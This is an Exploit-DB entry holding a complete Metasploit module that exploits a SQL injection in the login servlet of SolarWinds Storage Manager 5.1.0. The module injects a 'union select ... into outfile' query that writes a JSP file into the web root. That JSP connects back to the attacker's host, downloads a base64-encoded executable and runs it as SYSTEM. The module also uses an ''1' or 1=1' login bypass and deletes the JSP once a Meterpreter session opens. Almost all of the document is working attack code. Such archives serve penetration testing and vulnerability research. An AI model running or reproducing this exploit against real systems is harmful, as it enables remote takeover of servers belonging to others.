SolarWinds Storage Manager 5.1.0 - SQL Injection (Metasploit)

EDB-ID:

18833

CVE:





Platform:

Windows

Date:

2012-05-04


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::TcpServer
	include Msf::Exploit::EXE

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Solarwinds Storage Manager 5.1.0 SQL Injection",
			'Description'    => %q{
					This module exploits a SQL injection found in Solarwinds Storage Manager
				login interface.  It will send a malicious SQL query to create a JSP file
				under the web root directory, and then let it download and execute our malicious
				executable under the context of SYSTEM.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'r@b13$', # Original discovery by Digital Defense VRT
					'muts',   # PoC
					'sinn3r'  # Metasploit
				],
			'References'     =>
				[
					['EDB', '18818'],
					['URL', 'http://ddilabs.blogspot.com/2012/02/solarwinds-storage-manager-server-sql.html'],
					['URL', 'http://www.solarwinds.com/documentation/storage/storagemanager/docs/ReleaseNotes/vulnerability.htm']
				],
			'Payload'        =>
				{
					'BadChars' => "\x00",
				},
			'DefaultOptions'  =>
				{
					'ExitFunction' => "none"
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# Win XP / 2003 / Vista / Win 7 / etc
					['Windows Universal', {}]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Dec 7 2011",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptPort.new('RPORT', [true, 'The target port', 9000])
			], self.class)
	end


	#
	# A very gentle check to see if Solarwinds Storage Manage exists or not
	#
	def check
		res = send_request_raw({
			'method' => 'GET',
			'uri'    => '/LoginServlet'
		})

		if res and res.body =~ /\<title>\SolarWinds \- Storage Manager\<\/title\>/ and
		           res.body =~ /\<img style="padding\-top:30px;" src="\/images\/logo_solarwinds_login\.png" width="163" height="70" alt="SolarWinds Storage Manager"\>/
			return Exploit::CheckCode::Detected
		else
			return Exploit::CheckCode::Safe
		end
	end


	#
	# Remove the JSP once we get a shell.
	# We cannot delete the executable because it will still be in use.
	#
	def on_new_session(cli)
		if cli.type != 'meterpreter'
			print_error("Meterpreter not used. Please manually remove #{@jsp_name + '.jsp'}")
			return
		end

		cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")

		begin
			jsp = @outpath.gsub(/\//, "\\\\")
			jsp = jsp.gsub(/"/, "")
			vprint_status("#{rhost}:#{rport} - Deleting: #{jsp}")
			cli.fs.file.rm(jsp)
			print_status("#{rhost}:#{rport} - #{@jsp_name + '.jsp'} deleted")
		rescue ::Exception => e
			print_error("Unable to delete #{@jsp_name + '.jsp'}: #{e.message}")
		end
	end


	#
	# Transfer the malicious executable to our victim
	#
	def on_client_connect(cli)
		print_status("#{cli.peerhost}:#{cli.peerport} - Sending executable (#{@native_payload.length} bytes)")
		cli.put(@native_payload)
		service.close_client(cli)
	end


	#
	# Generate a download+exe JSP payload
	#
	def generate_jsp_payload
		my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address("50.50.50.50") : datastore['SRVHOST']
		my_port = datastore['SRVPORT']

		# tmp folder = C:\Program Files\SolarWinds\Storage Manager Server\temp\
		# This will download our malicious executable in base64 format, decode it back,
		# save it as a temp file, and then finally execute it.
		jsp = %Q|
		<%@page import="java.io.*"%>
		<%@page import="java.net.*"%>
		<%@page import="sun.misc.BASE64Decoder"%>

		<%
		StringBuffer buf = new StringBuffer();
		byte[] shellcode = null;
		BufferedOutputStream outstream = null;
		try {
			Socket s = new Socket("#{my_host}", #{my_port});
			BufferedReader r = new BufferedReader(new InputStreamReader(s.getInputStream()));
			while (buf.length() < #{@native_payload.length}) {
				buf.append( (char) r.read());
			}

			BASE64Decoder decoder = new BASE64Decoder();
			shellcode = decoder.decodeBuffer(buf.toString());

			File temp = File.createTempFile("#{@native_payload_name}", ".exe");
			String path = temp.getAbsolutePath();

			outstream = new BufferedOutputStream(new FileOutputStream(path));
			outstream.write(shellcode);
			outstream.close();

			Process p = Runtime.getRuntime().exec(path);
		} catch (Exception e) {}
		%>
		|

		jsp = jsp.gsub(/\n/, '')
		jsp = jsp.gsub(/\t/, '')

		jsp.unpack("H*")[0]
	end


	#
	# Run the actual exploit
	#
	def inject_exec
		# This little lag is meant to ensure the TCP server runs first before the requests
		select(nil, nil, nil, 1)

		# Inject our JSP payload
		print_status("#{rhost}:#{rport} - Sending JSP payload")
		pass = rand_text_alpha(rand(10)+5)
		hex_jsp  = generate_jsp_payload

		res = send_request_cgi({
			'method'    => 'POST',
			'uri'       => '/LoginServlet',
			'headers'   => {
				'Accept-Encoding' => 'identity'
			},
			'vars_post'  => {
				'loginState' => 'checkLogin',
				'password'   => pass,
				'loginName'  => "AAA' union select 0x#{hex_jsp},2,3,4,5,6,7,8,9,10,11,12,13,14 into outfile #{@outpath}#"
			}
		})

		# Pick up the cookie, example:
		# JSESSIONID=D90AC5C0BB43B5AC1396736214A1B5EB
		if res and res.headers['Set-Cookie'] =~ /JSESSIONID=(\w+);/
			cookie = "JSESSIONID=#{$1}"
		else
			print_error("Unable to get a session ID")
			return
		end

		# Trigger the JSP
		print_status("#{rhost}:#{rport} - Trigger JSP payload")
		send_request_cgi({
			'method'    => 'POST',
			'uri'       => '/LoginServlet',
			'headers'   => {
				'Cookie' => cookie,
				'Accept-Encoding' => 'identity'
			},
			'vars_post' => {
				'loginState' => 'checkLogin',
				'password'   => pass,
				'loginName'  => "1' or 1=1#--"
			}
		})

		res = send_request_raw({
			'method'  => 'POST',
			'uri'     => "/#{@jsp_name + '.jsp'}",
			'headers' => {
				'Cookie' => cookie
			}
		})

		handler
	end


	#
	# The server must start first, and then we send the malicious requests
	#
	def exploit
		# Avoid passing this as an argument for performance reasons
		# This is in base64 is make sure our file isn't mangled
		@native_payload      = [generate_payload_exe].pack("m*")
		@native_payload_name = rand_text_alpha(rand(6)+3)
		@jsp_name            = rand_text_alpha(rand(6)+3)
		@outpath             = "\"C:/Program Files/SolarWinds/Storage Manager Server/webapps/ROOT/#{@jsp_name + '.jsp'}\""

		begin
			t = framework.threads.spawn("reqs", false) { inject_exec }
			print_status("Serving executable on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}")
			super
		ensure
			t.kill
		end
	end
end